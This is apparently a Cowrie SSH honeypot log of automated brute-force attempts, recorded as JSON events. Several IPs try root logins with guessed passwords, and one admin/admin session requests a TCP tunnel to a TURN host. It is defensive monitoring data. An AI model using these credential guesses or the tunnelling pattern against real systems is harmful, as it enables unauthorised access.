{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:50.750105Z","src_ip":"60.165.124.241","session":"3f2c67e33a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell_123456","message":"login attempt [root/dell_123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:51.504233Z","src_ip":"60.165.124.241","session":"3f2c67e33a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:52.763679Z","src_ip":"60.165.124.241","session":"3f2c67e33a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"762cd5964bf0","protocol":"ssh","message":"New connection: 60.165.124.241:57008 (10.17.0.5:22) [session: 762cd5964bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:53.002652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:53.006911Z","src_ip":"60.165.124.241","session":"762cd5964bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:53.248923Z","src_ip":"60.165.124.241","session":"762cd5964bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":11396,"dst_ip":"159.203.135.109","dst_port":22,"session":"407a61e933b2","protocol":"ssh","message":"New connection: 193.24.211.100:11396 (159.203.135.109:22) [session: 407a61e933b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:53.930855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:53.935799Z","src_ip":"193.24.211.100","session":"407a61e933b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:53.997591Z","src_ip":"60.165.124.241","session":"762cd5964bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:54.051064Z","src_ip":"193.24.211.100","session":"407a61e933b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:54.473701Z","src_ip":"193.24.211.100","session":"407a61e933b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:55.253141Z","src_ip":"60.165.124.241","session":"762cd5964bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59952,"dst_ip":"10.17.0.5","dst_port":22,"session":"c500aa6cd992","protocol":"ssh","message":"New connection: 60.165.124.241:59952 (10.17.0.5:22) [session: c500aa6cd992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:55.504841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:55.509626Z","src_ip":"60.165.124.241","session":"c500aa6cd992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:55.583606Z","src_ip":"193.24.211.100","session":"407a61e933b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:55.765131Z","src_ip":"60.165.124.241","session":"c500aa6cd992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smart123","message":"login attempt [root/smart123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:56.530285Z","src_ip":"60.165.124.241","session":"c500aa6cd992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:57.781097Z","src_ip":"60.165.124.241","session":"c500aa6cd992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34598,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee801c9baf4e","protocol":"ssh","message":"New connection: 60.165.124.241:34598 (10.17.0.5:22) [session: ee801c9baf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:58.007718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:58.012053Z","src_ip":"60.165.124.241","session":"ee801c9baf4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:58.250641Z","src_ip":"60.165.124.241","session":"ee801c9baf4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"234234","message":"login attempt [root/234234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:58.985992Z","src_ip":"60.165.124.241","session":"ee801c9baf4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:00.227624Z","src_ip":"60.165.124.241","session":"ee801c9baf4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37352,"dst_ip":"10.17.0.5","dst_port":22,"session":"32c69ee3a39b","protocol":"ssh","message":"New connection: 60.165.124.241:37352 (10.17.0.5:22) [session: 32c69ee3a39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:00.459052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:00.463324Z","src_ip":"60.165.124.241","session":"32c69ee3a39b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:00.701972Z","src_ip":"60.165.124.241","session":"32c69ee3a39b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234567.","message":"login attempt [root/admin@1234567.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:01.419911Z","src_ip":"60.165.124.241","session":"32c69ee3a39b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:02.670982Z","src_ip":"60.165.124.241","session":"32c69ee3a39b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49624,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5f2253d94c","protocol":"ssh","message":"New connection: 45.148.10.121:49624 (159.203.135.109:22) [session: 8e5f2253d94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:02.905175Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40366,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3b0d8d8caa","protocol":"ssh","message":"New connection: 60.165.124.241:40366 (10.17.0.5:22) [session: 3c3b0d8d8caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:02.913647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:02.923111Z","src_ip":"45.148.10.121","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:02.933573Z","src_ip":"60.165.124.241","session":"3c3b0d8d8caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.013883Z","src_ip":"45.148.10.121","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.192061Z","src_ip":"60.165.124.241","session":"3c3b0d8d8caa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.285935Z","src_ip":"45.148.10.121","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.478122Z","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.565897Z","src_ip":"45.148.10.121","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.570832Z","src_ip":"45.148.10.121","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.661320Z","src_ip":"45.148.10.121","session":"8e5f2253d94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49626,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6b2ace33d0d","protocol":"ssh","message":"New connection: 45.148.10.121:49626 (159.203.135.109:22) [session: b6b2ace33d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.745097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.756014Z","src_ip":"45.148.10.121","session":"b6b2ace33d0d","protocol":"ssh"}
